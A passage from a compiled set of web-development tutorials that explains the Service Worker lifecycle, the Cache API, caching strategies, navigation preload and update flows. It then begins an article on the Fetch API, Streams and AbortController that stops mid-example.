- [MDN - Houdini APIs](https://developer.mozilla.org/en-US/docs/Web/API/Houdini_APIs) - Worklet ecosystem overview

---

## Service Workers and Cache API

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/web-foundations/browser-apis/service-workers-and-cache-api
**Category:** Web Foundations / Browser APIs
**Description:** A comprehensive exploration of offline-first web architecture, examining how the Service Worker API (W3C Working Draft, January 2026) enables network interception and background processing, how the Cache API provides fine-grained storage for request/response pairs, and how update flows ensure clients transition safely between versions. These APIs form the foundation of Progressive Web Apps (PWAs): service workers intercept fetches and decide response sources, Cache API stores those responses durably, and the lifecycle model ensures exactly one version controls clients at any time.

# Service Workers and Cache API

A comprehensive exploration of offline-first web architecture, examining how the [Service Worker API](https://w3c.github.io/ServiceWorker/) (W3C Working Draft, January 2026) enables network interception and background processing, how the [Cache API](https://w3c.github.io/ServiceWorker/#cache-interface) provides fine-grained storage for request/response pairs, and how update flows ensure clients transition safely between versions. These APIs form the foundation of Progressive Web Apps (PWAs): service workers intercept fetches and decide response sources, Cache API stores those responses durably, and the lifecycle model ensures exactly one version controls clients at any time.

<figure>

![Service workers intercept requests and decide whether to serve from cache, network, or both](./service-workers-intercept-requests-and-decide-whether-to-serve-from-cache-networ.svg)

<figcaption>Service workers intercept requests and decide whether to serve from cache, network, or both</figcaption>

</figure>

## Abstract

Service workers represent a fundamental shift from traditional web architecture: instead of the browser directly fetching resources, an intermediary script can intercept every network request and programmatically decide how to respond.

<figure>

![Core design principles and their operational trade-offs](./core-design-principles-and-their-operational-trade-offs.svg)

<figcaption>Core design principles and their operational trade-offs</figcaption>

</figure>

**Mental model:**

- **Service Worker** acts as a programmable network proxy scoped to a path prefix—it intercepts `fetch` events for matching URLs and can respond from cache, network, or synthesized responses
- **Cache API** stores `Request` → `Response` mappings durably, surviving browser restarts—unlike HTTP cache, you control exactly what's cached and for how long
- **Lifecycle** ensures only one service worker version is active per scope at any time, preventing the "two tabs running different code" problem that plagued AppCache

**Critical design decisions:**

- **Event-driven with termination**: The spec notes "the lifetime of a service worker is tied to the execution lifetime of events"—workers may start and stop "many times a second." Global state doesn't persist; use IndexedDB or Cache API
- **Waiting state by default**: New workers wait until all clients using the old version close. This prevents mid-session version mismatches but means updates don't apply immediately
- **HTTPS mandatory**: Service workers can intercept any request in their scope, including credentials. Without TLS, attackers could inject malicious workers via MITM

---

## Service Worker Lifecycle

The lifecycle is the most complex part of service workers—and the most important to understand. Unlike regular scripts that run when the page loads, service workers progress through distinct states independently of any document.

### State Machine

<figure>

![Service worker state transitions—only "activated" workers handle fetch events](./service-worker-state-transitions-only-activated-workers-handle-fetch-events.svg)

<figcaption>Service worker state transitions—only "activated" workers handle fetch events</figcaption>

</figure>

| State        | Can Handle Fetches? | Trigger to Next State                                     |
| ------------ | ------------------- | --------------------------------------------------------- |
| `parsed`     | No                  | Automatic after registration                              |
| `installing` | No                  | `install` event handler completes                         |
| `installed`  | No                  | Automatic (to waiting) or `skipWaiting()` (to activating) |
| `waiting`    | No                  | All clients using old worker unload                       |
| `activating` | No                  | `activate` event handler completes                        |
| `activated`  | **Yes**             | Remains until replaced or unregistered                    |
| `redundant`  | No                  | Terminal state—worker is discarded                        |

### Registration and Scope

Registration binds a worker script to a scope URL prefix:

```typescript collapse={1-3, 18-22}
// Feature detection (collapsed)
if (!("serviceWorker" in navigator)) {
  console.log("Service workers not supported")
}

// Register with explicit scope
const registration = await navigator.serviceWorker.register("/sw.js", {
  scope: "/app/", // Controls /app/* URLs
})

console.log("Scope:", registration.scope) // "https://example.com/app/"
console.log("Active:", registration.active?.state) // "activated" if ready
console.log("Waiting:", registration.waiting?.state) // Worker pending activation
console.log("Installing:", registration.installing?.state) // Currently installing

// Default scope: directory containing the worker script
// /scripts/sw.js → scope defaults to /scripts/
await navigator.serviceWorker.register("/scripts/sw.js")
// Only controls /scripts/* URLs unless Service-Worker-Allowed header expands it
```

**Scope rules:**

- A worker at `/sw.js` defaults to scope `/` (entire origin)
- A worker at `/app/sw.js` defaults to scope `/app/`
- Scope cannot exceed the worker's directory unless the server sends `Service-Worker-Allowed: /` header
- Multiple registrations with different scopes can coexist; most-specific scope wins

### Install Event: Precaching

The `install` event fires once per worker version. Use it to cache critical resources:

```typescript collapse={1-2, 25-30}
// Cache version constant (collapsed)
const CACHE_NAME = "app-v1"

self.addEventListener("install", (event) => {
  event.waitUntil(
    caches.open(CACHE_NAME).then((cache) => {
      // addAll is atomic—fails entirely if any resource fails
      return cache.addAll(["/", "/app.js", "/styles.css", "/offline.html"])
    }),
  )
})

// ⚠️ addAll fetches with mode: 'cors' by default
// Cross-origin resources need proper CORS headers or use:
cache.add(new Request("https://cdn.example.com/lib.js", { mode: "no-cors" }))
// Warning: no-cors responses are "opaque"—you can't inspect status or headers
```

**`waitUntil()` is critical**: The install event would complete immediately without it, potentially activating before caching finishes. If the promise rejects, the worker becomes `redundant`.

### Activate Event: Cleanup

The `activate` event fires when the worker takes control. Use it to clean old caches:

```typescript collapse={1-3}
// Expected cache names (collapsed)
const CURRENT_CACHES = { app: "app-v2", images: "images-v1" }

self.addEventListener("activate", (event) => {
  const expectedNames = new Set(Object.values(CURRENT_CACHES))

  event.waitUntil(
    caches.keys().then((cacheNames) => {
      return Promise.all(
        cacheNames.map((name) => {
          if (!expectedNames.has(name)) {
            console.log("Deleting old cache:", name)
            return caches.delete(name)
          }
        }),
      )
    }),
  )
})
```

**Why clean on activate, not install?** The old worker may still be serving requests. Deleting its caches during install would break active clients.

### skipWaiting and clients.claim

Two methods bypass the default waiting behavior:

```typescript
// In install event: skip waiting state entirely
self.addEventListener("install", (event) => {
  self.skipWaiting() // Activate immediately after install
  event.waitUntil(/* caching */)
})

// In activate event: take control of existing clients
self.addEventListener("activate", (event) => {
  event.waitUntil(
    clients.claim(), // Control pages that loaded before this worker
  )
})
```

**When to use `skipWaiting()`:**

- Critical bug fixes that must deploy immediately
- The new version is backward-compatible with pages loaded under the old version

**When to avoid it:** The spec warns that with `skipWaiting()`, "new service worker is likely controlling pages that were loaded with an older version." If your JavaScript expects cached assets that changed, you'll get broken pages.

**`clients.claim()` use case:** First-time installations where pages loaded before registration should immediately get service worker control. Jake Archibald notes: "I rarely do so myself. It only really matters on the very first load."

### Update Mechanism

Service workers update when:

1. Navigation to an in-scope page (if >24 hours since last check)
2. Push/sync event fires (if >24 hours since last check)
3. `registration.update()` called explicitly
4. Worker script URL changes (rare, avoid this pattern)

The browser fetches the worker script and compares bytes. Any difference triggers a new install. The spec notes: "Most browsers default to ignoring caching headers when checking for updates."

```typescript
// Trigger manual update check
const registration = await navigator.serviceWorker.ready
await registration.update()

// Monitor for updates
registration.addEventListener("updatefound", () => {
  const newWorker = registration.installing
  newWorker?.addEventListener("statechange", () => {
    if (newWorker.state === "installed") {
      // New version ready, waiting to activate
      if (registration.active) {
        // Show "Update available" UI
        showUpdateNotification()
      }
    }
  })
})
```

---

## Cache API

The Cache API provides a durable `Request` → `Response` storage mechanism. Unlike HTTP cache, you have explicit control over what's stored, how matching works, and when entries expire.

### CacheStorage Interface

`caches` (global `CacheStorage`) manages named caches:

| Method                | Purpose                                   | Returns                          |
| --------------------- | ----------------------------------------- | -------------------------------- |
| `caches.open(name)`   | Open (or create) a named cache            | `Promise<Cache>`                 |
| `caches.match(req)`   | Search all caches for a matching response | `Promise<Response \| undefined>` |
| `caches.has(name)`    | Check if a cache exists                   | `Promise<boolean>`               |
| `caches.delete(name)` | Delete a cache and all its entries        | `Promise<boolean>`               |
| `caches.keys()`       | List all cache names                      | `Promise<string[]>`              |

### Cache Interface

Individual `Cache` objects store request/response pairs:

```typescript collapse={1-2, 30-35}
// Open or create cache (collapsed)
const cache = await caches.open("api-v1")

// Add single resource (fetches and stores)
await cache.add("/api/config")

// Add multiple resources (atomic—all or nothing)
await cache.addAll(["/api/config", "/api/user"])

// Put explicit request/response pair
const response = await fetch("/api/data")
await cache.put("/api/data", response.clone()) // Must clone—body consumed

// Match with options
const match = await cache.match(request, {
  ignoreSearch: true, // Ignore query string
  ignoreMethod: true, // Match regardless of HTTP method
  ignoreVary: true, // Ignore Vary header
})

// List all cached requests
const keys = await cache.keys()

// Delete specific entry
const deleted = await cache.delete("/api/old-endpoint")
```

**Critical: Response bodies are single-use**. After `cache.put(req, response)`, the response body is consumed. Always `response.clone()` if you need to return the response to the page.

### Request Matching

Cache matching is exact by default—URL, method, and Vary headers must match:

```typescript
// These are different cache entries:
cache.put("/api?page=1", response1)
cache.put("/api?page=2", response2)

// Match with query string
await cache.match("/api?page=1") // Returns response1
await cache.match("/api?page=2") // Returns response2
await cache.match("/api") // Returns undefined

// Ignore query string
await cache.match("/api?page=1", { ignoreSearch: true }) // Returns first match
```

**Vary header behavior**: If a cached response has `Vary: Accept-Language`, the cache only returns it when the request's `Accept-Language` matches the original request's value. Use `ignoreVary: true` to bypass this.

### Storage Limits and Quotas

Cache storage counts against the origin's quota:

| Browser | Default Quota                      | Eviction Policy                                      |
| ------- | ---------------------------------- | ---------------------------------------------------- |
| Chrome  | 60% of disk (5% in incognito)      | Least Recently Used (LRU) by origin                  |
| Firefox | Up to 2GB per eTLD+1               | LRU when disk pressure                               |
| Safari  | ~1GB (prompts for more on desktop) | **7-day cap on script-writable storage** (see below) |

**Safari's 7-day limit**: Since March 2020, Safari deletes all script-writable storage (IndexedDB, Cache API, service worker registrations) after 7 days without user interaction. This resets when the user visits the site. PWAs added to home screen are exempt.

Check quota with the Storage API:

```typescript
const estimate = await navigator.storage.estimate()
console.log(`Used: ${estimate.usage} bytes`)
console.log(`Quota: ${estimate.quota} bytes`)
console.log(`Available: ${((estimate.quota! - estimate.usage!) / 1024 / 1024).toFixed(1)} MB`)

// Request persistent storage (immune to automatic eviction)
const persistent = await navigator.storage.persist()
if (persistent) {
  console.log("Storage will not be evicted under pressure")
}
```

---

## Caching Strategies

The fetch event is where caching strategies execute. Each strategy trades off freshness, speed, and offline capability:

### Cache-First (Cache Falling Back to Network)

Return cached response immediately; fetch from network only if not cached:

```typescript
self.addEventListener("fetch", (event) => {
  event.respondWith(
    caches.match(event.request).then((cached) => {
      if (cached) return cached

      return fetch(event.request).then((response) => {
        // Optionally cache the new response
        if (response.ok) {
          const clone = response.clone()
          caches.open("dynamic").then((cache) => cache.put(event.request, clone))
        }
        return response
      })
    }),
  )
})
```

**Use for:** Static assets (CSS, JS, images) with versioned URLs (`app.v2.js`). Immutable once deployed.

**Trade-off:** Fast and offline-capable, but stale until cache is explicitly invalidated.

### Network-First (Network Falling Back to Cache)

Try network first; fall back to cache if offline or request fails:

```typescript
self.addEventListener("fetch", (event) => {
  event.respondWith(
    fetch(event.request)
      .then((response) => {
        // Update cache with fresh response
        const clone = response.clone()
        caches.open("api").then((cache) => cache.put(event.request, clone))
        return response
      })
      .catch(() => {
        // Network failed—try cache
        return caches.match(event.request)
      }),
  )
})
```

**Use for:** API responses, user data, anything where freshness matters more than speed.

**Trade-off:** Always fresh when online, but slower (waits for network). Provides offline fallback.

### Stale-While-Revalidate

Return cached response immediately, then fetch and update cache in background:

```typescript
self.addEventListener("fetch", (event) => {
  event.respondWith(
    caches.open("swr").then((cache) => {
      return cache.match(event.request).then((cached) => {
        // Always fetch to update cache
        const fetchPromise = fetch(event.request).then((response) => {
          cache.put(event.request, response.clone())
          return response
        })

        // Return cached immediately, or wait for network if no cache
        return cached || fetchPromise
      })
    }),
  )
})
```

**Use for:** Frequently-updated content where slight staleness is acceptable (avatars, news feeds, product listings).

**Trade-off:** Fast response from cache, eventual freshness. Uses more bandwidth (always fetches).

### Network-Only

Pass through to network without caching:

```typescript
self.addEventListener("fetch", (event) => {
  event.respondWith(fetch(event.request))
})
```

**Use for:** Non-cacheable requests (POST, real-time data, authenticated content with unique tokens).

### Cache-Only

Only serve from cache; fail if not cached:

```typescript
self.addEventListener("fetch", (event) => {
  event.respondWith(caches.match(event.request))
})
```

**Use for:** Offline-only apps after initial precaching. Rarely used alone.

### Strategy Selection by Resource Type

| Resource Type           | Strategy                | Rationale                                     |
| ----------------------- | ----------------------- | --------------------------------------------- |
| Versioned static assets | Cache-first             | Immutable; version change = new URL           |
| App shell (HTML)        | Network-first           | Structure may update; offline fallback useful |
| API data                | Network-first or SWR    | Freshness important; offline read useful      |
| User-generated images   | Cache-first + lazy load | Large; rarely changes once uploaded           |
| Analytics/tracking      | Network-only            | Must reach server; no value in caching        |
| Third-party scripts     | Stale-while-revalidate  | Updates occasionally; speed matters           |

---

## Navigation Preload

Navigation preload solves a performance problem: when a user navigates, the browser must start the service worker before dispatching the fetch event. This startup delay (50-500ms) adds latency to every page load.

Navigation preload starts the network request in parallel with worker startup:

<figure>

![Navigation preload eliminates serial worker startup + fetch delay](./navigation-preload-eliminates-serial-worker-startup-fetch-delay.svg)

<figcaption>Navigation preload eliminates serial worker startup + fetch delay</figcaption>

</figure>

### Enabling Navigation Preload

```typescript
self.addEventListener("activate", (event) => {
  event.waitUntil(
    (async () => {
      if (self.registration.navigationPreload) {
        await self.registration.navigationPreload.enable()
      }
    })(),
  )
})
```

### Using the Preloaded Response

```typescript
self.addEventListener("fetch", (event) => {
  if (event.request.mode === "navigate") {
    event.respondWith(
      (async () => {
        // Try cache first
        const cached = await caches.match(event.request)
        if (cached) return cached

        // Use preloaded response if available
        const preloaded = await event.preloadResponse
        if (preloaded) return preloaded

        // Fallback to regular fetch
        return fetch(event.request)
      })(),
    )
  }
})
```

### Server-Side Detection

Navigation preload requests include the `Service-Worker-Navigation-Preload` header (default value: `true`). Servers can customize responses:

```typescript
// Set custom header value
await registration.navigationPreload.setHeaderValue("v2")
// Server receives: Service-Worker-Navigation-Preload: v2

// Check current state
const state = await registration.navigationPreload.getState()
// { enabled: true, headerValue: "v2" }
```

**Server optimization:** Return minimal content (header + footer) for preload, let the service worker merge with cached content.

**Important:** If your response differs based on this header, include `Vary: Service-Worker-Navigation-Preload` to prevent caching issues.

---

## Update Flows and Client Coordination

Managing updates is where service workers get tricky. The default behavior—waiting until all clients close—is safest but frustrating for users who keep tabs open.

### Approach 1: Let It Wait (Default)

The simplest approach: don't use `skipWaiting()`. Users get the update on their next visit after all tabs close.

```typescript
// No skipWaiting—new worker waits
self.addEventListener("install", (event) => {
  event.waitUntil(
    caches.open("v2").then((cache) =>
      cache.addAll([
        /* ... */
      ]),
    ),
  )
  // Worker enters "waiting" state after install
})
```

**Pros:** Safe—no version mismatches.
**Cons:** Updates may never apply for users with persistent tabs.

### Approach 2: Skip Waiting (Prompt User)

Use `skipWaiting()` only when user explicitly requests the update:

```typescript title="sw.js"
self.addEventListener("message", (event) => {
  if (event.data?.type === "SKIP_WAITING") {
    self.skipWaiting()
  }
})
```

```typescript title="page.js" collapse={1-3, 20-25}
// UI notification (collapsed)
function showUpdateNotification(onUpdate: () => void) {
  /* ... */
}

const registration = await navigator.serviceWorker.ready

registration.addEventListener("updatefound", () => {
  const newWorker = registration.installing!

  newWorker.addEventListener("statechange", () => {
    if (newWorker.state === "installed" && registration.active) {
      // New version ready—show UI
      showUpdateNotification(() => {
        newWorker.postMessage({ type: "SKIP_WAITING" })
      })
    }
  })
})

// Reload when new worker takes control
navigator.serviceWorker.addEventListener("controllerchange", () => {
  window.location.reload()
})
```

**Pros:** User controls when the update happens.
**Cons:** Requires UI implementation; some users ignore update prompts.

### Approach 3: Skip Waiting (Backward Compatible)

If new code can run with old-cached assets (or vice versa), skip immediately:

```typescript
self.addEventListener("install", (event) => {
  self.skipWaiting()
  event.waitUntil(/* caching */)
})

self.addEventListener("activate", (event) => {
  event.waitUntil(clients.claim())
})
```

**Pros:** Updates apply immediately.
**Cons:** Risk of version mismatches. Only works if your code handles this gracefully.

### Version Mismatch Scenarios

When `skipWaiting()` activates a new worker while old pages are open:

| Scenario                    | Result                                                                  |
| --------------------------- | ----------------------------------------------------------------------- |
| Page requests cached JS     | Old worker's cache may be deleted; request fails or returns new version |
| New worker returns new HTML | HTML expects new JS; cached old JS breaks                               |
| API response format changed | New worker parses differently than old page expects                     |

**Mitigation strategies:**

1. **Versioned URLs**: `app.v2.js` never conflicts with `app.v1.js`
2. **Keep old caches during activate**: Don't delete immediately
3. **Force reload on controller change**: `location.reload()` after `controllerchange`

---

## Offline Fallbacks and UX

A robust offline experience requires graceful degradation when resources aren't available.

### Generic Offline Page

```typescript
const OFFLINE_PAGE = "/offline.html"

self.addEventListener("install", (event) => {
  event.waitUntil(caches.open("offline").then((cache) => cache.add(OFFLINE_PAGE)))
})

self.addEventListener("fetch", (event) => {
  if (event.request.mode === "navigate") {
    event.respondWith(fetch(event.request).catch(() => caches.match(OFFLINE_PAGE)))
  }
})
```

### Offline Image Placeholder

```typescript
const OFFLINE_IMAGE = "/images/offline-placeholder.svg"

self.addEventListener("fetch", (event) => {
  if (event.request.destination === "image") {
    event.respondWith(
      caches.match(event.request).then((cached) => {
        return cached || fetch(event.request).catch(() => caches.match(OFFLINE_IMAGE))
      }),
    )
  }
})
```

### Background Sync for Offline Actions

Queue failed mutations for retry when online:

```typescript title="page.js" collapse={1-3}
// Queue the request for background sync
async function queueForSync(request: Request) {
  const queue = await getRequestQueue() // IndexedDB-backed
  await queue.push(request)
  await navigator.serviceWorker.ready.then((reg) => reg.sync.register("sync-requests"))
}

// Use when fetch fails
try {
  await fetch("/api/submit", { method: "POST", body: data })
} catch {
  await queueForSync(new Request("/api/submit", { method: "POST", body: data }))
  showToast("Saved offline—will sync when connected")
}
```

```typescript title="sw.js"
self.addEventListener("sync", (event) => {
  if (event.tag === "sync-requests") {
    event.waitUntil(processQueue())
  }
})

async function processQueue() {
  const queue = await getRequestQueue()
  for (const request of await queue.getAll()) {
    try {
      await fetch(request)
      await queue.remove(request)
    } catch {
      // Still offline—will retry on next sync
      break
    }
  }
}
```

---

## Debugging and Observability

### Browser DevTools

**Chrome DevTools (Application tab):**

- **Service Workers panel**: View registered workers, state, and messages
- **Update on reload**: Forces new worker on every page load (development only)
- **Bypass for network**: Disables service worker for all fetches
- **Offline checkbox**: Simulates offline mode
- **Cache Storage**: Inspect cached request/response pairs

**Firefox DevTools:**

- **Application > Service Workers**: Similar to Chrome
- **Enable Service Workers over HTTP**: Testing without HTTPS (toolbox open only)

### Logging Strategy

```typescript
const DEBUG = true

function log(context: string, ...args: unknown[]) {
  if (DEBUG) {
    console.log(`[SW:${context}]`, ...args)
  }
}

self.addEventListener("install", (event) => {
  log("install", "Starting install...")
  // ...
})

self.addEventListener("fetch", (event) => {
  log("fetch", event.request.method, event.request.url)
  // ...
})
```

### Common Issues and Solutions

| Symptom                                                       | Cause                                       | Solution                                             |
| ------------------------------------------------------------- | ------------------------------------------- | ---------------------------------------------------- |
| Changes not appearing                                         | Old worker still active                     | Close all tabs or use Update on reload               |
| Worker stuck in "waiting"                                     | Clients still using old worker              | Use skipWaiting or close tabs                        |
| Fetch handler not firing                                      | Request outside scope or no-cors opaque     | Check scope; ensure fetch listener returns           |
| Cache match returns undefined                                 | URL mismatch (query string, trailing slash) | Use `ignoreSearch: true` or normalize URLs           |
| "The service worker navigation preload request was cancelled" | Preload unused                              | Always consume `event.preloadResponse` when enabled  |
| Storage quota exceeded                                        | Too much cached data                        | Implement cache eviction; check `storage.estimate()` |

### Error Handling in Fetch

```typescript
self.addEventListener("fetch", (event) => {
  event.respondWith(
    handleFetch(event.request).catch((error) => {
      console.error("Fetch handler error:", error)

      // Return appropriate fallback based on request type
      if (event.request.destination === "document") {
        return caches.match("/offline.html")
      }
      if (event.request.destination === "image") {
        return caches.match("/offline-placeholder.svg")
      }

      // For other requests, let the error propagate
      return new Response("Service unavailable", { status: 503 })
    }),
  )
})
```

---

## Workbox: Production-Ready Abstractions

[Workbox](https://developer.chrome.com/docs/workbox) (Google) provides battle-tested implementations of caching patterns. Use it unless you have specific requirements that demand custom code.

### Strategy Modules

```typescript
import { registerRoute } from "workbox-routing"
import { CacheFirst, NetworkFirst, StaleWhileRevalidate } from "workbox-strategies"
import { ExpirationPlugin } from "workbox-expiration"

// Static assets: cache-first with expiration
registerRoute(
  ({ request }) => request.destination === "style" || request.destination === "script",
  new CacheFirst({
    cacheName: "static-v1",
    plugins: [new ExpirationPlugin({ maxEntries: 50, maxAgeSeconds: 30 * 24 * 60 * 60 })],
  }),
)

// API calls: network-first with 3-second timeout
registerRoute(
  ({ url }) => url.pathname.startsWith("/api/"),
  new NetworkFirst({
    cacheName: "api-v1",
    networkTimeoutSeconds: 3,
  }),
)

// Images: stale-while-revalidate
registerRoute(({ request }) => request.destination === "image", new StaleWhileRevalidate({ cacheName: "images-v1" }))
```

### Precaching with Versioning

```typescript
import { precacheAndRoute } from "workbox-precaching"

// Injected by build tool (Webpack, Vite, etc.)
precacheAndRoute(self.__WB_MANIFEST)
// Generates versioned URLs: [{ url: "/app.js", revision: "abc123" }, ...]
```

### When to Use Custom Code

- **Complex routing logic** not expressible with Workbox's route matching
- **Custom cache invalidation** beyond time/count expiration
- **Streaming responses** that need transformation
- **Tight bundle size constraints** (Workbox adds ~10-20KB)

---

## Conclusion

Service workers fundamentally change the browser's network model: instead of direct fetches, an intermediary script decides response sources. The Cache API provides the durable storage that makes offline experiences possible. The lifecycle model—with its waiting states and update flows—ensures clients don't run inconsistent code.

The key architectural insight is that service workers are event-driven and stateless between events. Global variables don't persist. The worker may terminate after handling a fetch and restart fresh for the next one. Design accordingly: use Cache API and IndexedDB for persistence, not in-memory state.

Caching strategies represent trade-offs, not best practices. Cache-first sacrifices freshness for speed. Network-first sacrifices speed for freshness. Stale-while-revalidate trades bandwidth for both. Choose based on the specific resource's characteristics and your users' expectations.

---

## Appendix

### Prerequisites

- JavaScript Promises and async/await
- HTTP request/response model (methods, headers, caching headers)
- Familiarity with the Fetch API

### Terminology

- **Scope**: URL path prefix that a service worker controls (e.g., `/app/` controls `/app/*`)
- **Client**: A window, worker, or shared worker controlled by a service worker
- **Registration**: The binding of a service worker script to a scope
- **Precaching**: Caching resources during the install event before they're needed
- **Opaque response**: Cross-origin response with `mode: 'no-cors'` that hides status and headers
- **Navigation preload**: Parallel network request during service worker startup

### Summary

- **Lifecycle states**: parsed → installing → installed → waiting → activating → activated → redundant
- **Only activated workers handle fetch events**; waiting workers queue behind the current active worker
- **Cache API** stores Request/Response pairs durably; you control expiration and invalidation
- **Caching strategies**: cache-first (speed), network-first (freshness), stale-while-revalidate (both with bandwidth cost)
- **`skipWaiting()`** bypasses waiting but risks version mismatches; use with versioned URLs or user prompts
- **Navigation preload** eliminates worker startup delay by fetching in parallel
- **Safari's 7-day limit** deletes storage without user interaction; PWAs on home screen are exempt

### References

**Specifications (Primary Sources)**

- [Service Workers](https://w3c.github.io/ServiceWorker/) - W3C Working Draft (defines registration, lifecycle, fetch events, cache interface)
- [Fetch Standard](https://fetch.spec.whatwg.org/) - WHATWG Living Standard (defines Request, Response, fetch algorithm)
- [Storage Standard](https://storage.spec.whatwg.org/) - WHATWG Living Standard (defines quota, persistence, storage buckets)

**Official Documentation**

- [Service Worker API - MDN](https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API)
- [Cache - MDN](https://developer.mozilla.org/en-US/docs/Web/API/Cache)
- [CacheStorage - MDN](https://developer.mozilla.org/en-US/docs/Web/API/CacheStorage)
- [NavigationPreloadManager - MDN](https://developer.mozilla.org/en-US/docs/Web/API/NavigationPreloadManager)
- [StorageManager - MDN](https://developer.mozilla.org/en-US/docs/Web/API/StorageManager)

**Core Maintainer Content**

- [The Service Worker Lifecycle - web.dev](https://web.dev/articles/service-worker-lifecycle) - Jake Archibald's definitive lifecycle guide
- [The Offline Cookbook - web.dev](https://web.dev/articles/offline-cookbook) - Caching strategy patterns
- [Service Worker Caching and HTTP Caching - web.dev](https://web.dev/articles/service-worker-caching-and-http-caching)
- [Speed up Service Worker with Navigation Preloads - web.dev](https://web.dev/blog/navigation-preload)
- [Workbox](https://developer.chrome.com/docs/workbox) - Production service worker library from Chrome team

**Safari Storage Policy**

- [Full Third-Party Cookie Blocking and More - WebKit Blog](https://webkit.org/blog/10218/full-third-party-cookie-blocking-and-more/) - Safari's 7-day storage cap details

**Browser Support**

- [Can I Use: Service Workers](https://caniuse.com/serviceworkers)
- [Can I Use: Cache API](https://caniuse.com/mdn-api_cache)
- [Can I Use: Navigation Preload](https://caniuse.com/mdn-api_navigationpreloadmanager)

---

## Fetch, Streams, and AbortController

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/web-foundations/browser-apis/fetch-and-streaming-apis
**Category:** Web Foundations / Browser APIs
**Description:** A comprehensive exploration of the modern web’s network primitives, examining how the Fetch Standard (WHATWG Living Standard, January 2026) unifies request/response handling across all platform features, how the Streams Standard enables incremental data processing with automatic backpressure, and how AbortController/AbortSignal (DOM Standard Section 3.3) provide composable cancellation semantics. These three APIs form an integrated system: Fetch exposes response bodies as ReadableStreams, Streams propagate backpressure through pipe chains, and AbortSignal enables cancellation at any point in the pipeline.

# Fetch, Streams, and AbortController

A comprehensive exploration of the modern web's network primitives, examining how the [Fetch Standard](https://fetch.spec.whatwg.org/) (WHATWG Living Standard, January 2026) unifies request/response handling across all platform features, how the [Streams Standard](https://streams.spec.whatwg.org/) enables incremental data processing with automatic backpressure, and how [AbortController/AbortSignal](https://dom.spec.whatwg.org/#aborting-ongoing-activities) (DOM Standard Section 3.3) provide composable cancellation semantics. These three APIs form an integrated system: Fetch exposes response bodies as ReadableStreams, Streams propagate backpressure through pipe chains, and AbortSignal enables cancellation at any point in the pipeline.

<figure>

![The three APIs integrate tightly: Fetch produces streams, Streams handle data flow, AbortController cancels operations](./the-three-apis-integrate-tightly-fetch-produces-streams-streams-handle-data-flow.svg)

<figcaption>The three APIs integrate tightly: Fetch produces streams, Streams handle data flow, AbortController cancels operations</figcaption>

</figure>

## Abstract

The Fetch/Streams/AbortController triad represents a unified approach to network data handling built on three core principles:

<figure>

![Core design principles and their resulting trade-offs](./core-design-principles-and-their-resulting-trade-offs.svg)

<figcaption>Core design principles and their resulting trade-offs</figcaption>

</figure>

**Mental model:**

- **Fetch** handles the request/response lifecycle as Promises but exposes `response.body` as a ReadableStream—bridging single-value semantics with incremental data
- **Streams** use a producer-consumer model with automatic backpressure: `controller.desiredSize` propagates consumption rate backwards through pipe chains, allowing sources to throttle production
- **AbortController** creates cancellation signals that can be composed (`AbortSignal.any()`), timeout-bound (`AbortSignal.timeout()`), and passed to any async operation

**Critical design decisions:**

- **Body is fundamentally a stream**: The Fetch spec defines body as `{ stream, source, length }` where `stream` is always a ReadableStream—consumption methods like `json()` and `text()` are convenience wrappers that read the entire stream
- **Backpressure is automatic, not optional**: Unlike naive implementations, Streams require sources to check `desiredSize` before producing—this prevents memory exhaustion rather than reacting to it
- **Cancellation propagates through pipes**: Aborting a fetch cancels the network request, closes the response stream, and aborts any downstream transforms—the signal flows through the entire pipeline

---

## The Fetch API: Request/Response Lifecycle

The Fetch Standard unifies network requests across all platform features—XHR, `<img>` loading, Service Worker interception, and explicit `fetch()` calls all use the same underlying algorithm. The spec notes this addresses historical inconsistency: "numerous APIs use fetch inconsistently."

### Request Configuration

The Request object encapsulates all request parameters. Key options and their defaults:

| Option        | Default          | Design Rationale                                          |
| ------------- | ---------------- | --------------------------------------------------------- |
| `method`      | `GET`            | Safe default for read operations                          |
| `mode`        | `cors`           | Security-first: requires explicit CORS headers            |
| `credentials` | `same-origin`    | Privacy: omits cookies cross-origin unless specified      |
| `redirect`    | `follow`         | Convenience: handles 3xx automatically (max 20 redirects) |
| `cache`       | `default`        | Uses HTTP cache semantics; honors Cache-Control headers   |
| `signal`      | `undefined`      | Optional AbortSignal for cancellation                     |
| `duplex`      | `half` (implied) | Response waits for complete request (browser limitation)  |

**Body types supported**: string, ArrayBuffer, TypedArray, DataView, Blob, File, URLSearchParams, FormData, and ReadableStream. The browser automatically sets `Content-Type` based on body type (e.g., `application/json` for stringified JSON, `multipart/form-data` for FormData).

```typescript collapse={1-3, 15-20}
// Imports and setup (collapsed)
const API_BASE = "https://api.example.com"
const signal = AbortSignal.timeout(5000)

// Key pattern: structured request with explicit configuration
const response = await fetch(`${API_BASE}/users`, {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ name: "Alice", role: "admin" }),
  credentials: "include", // Send cookies cross-origin
  signal, // 5-second timeout
})

// Error handling pattern (collapsed)
if (!response.ok) {
  throw new Error(`HTTP ${response.status}: ${response.statusText}`)
}

const user = await response.json()
```

### Response Tainting and CORS

The response carries a `type` property reflecting its security context:

| Response Type    | Scenario                                    | JavaScript Access                  |
| ---------------- | ------------------------------------------- | ---------------------------------- |
| `basic`          | Same-origin request                         | Full access to headers and body    |
| `cors`           | Cross-origin with valid CORS headers        | Access to CORS-safelisted headers  |
| `opaque`         | Cross-origin with `mode: 'no-cors'`         | status=0, empty headers, null body |
| `opaqueredirect` | Redirect captured with `redirect: 'manual'` | Cannot inspect redirect target     |

**Design rationale**: Response tainting prevents cross-origin data leakage. An opaque response "is otherwise indistinguishable from a network error" (Fetch spec)—JavaScript cannot determine whether the request succeeded or what data it returned.

### Body Consumption: Stream Under the Hood

Every body consumption method (`json()`, `text()`, `blob()`, `arrayBuffer()`, `formData()`) reads the underlying ReadableStream to completion. **The body can only be consumed once**:

```typescript
const response = await fetch("/api/data")
const data1 = await response.json()
const data2 = await response.json() // ❌ TypeError: body already consumed
```

**Why this happens**: The `body.stream` has been read to completion; its internal state is "disturbed." The spec prohibits re-reading to prevent implementation complexity around buffering.

**Solutions**:

```typescript
// Option 1: Clone the response before consuming
const response = await fetch("/api/data")
const clone = response.clone() // Creates independent stream via tee()
const data1 = await response.json()
const data2 = await clone.json() // ✅ Works

// Option 2: Read once, use multiple times
const response = await fetch("/api/data")
const data = await response.json()
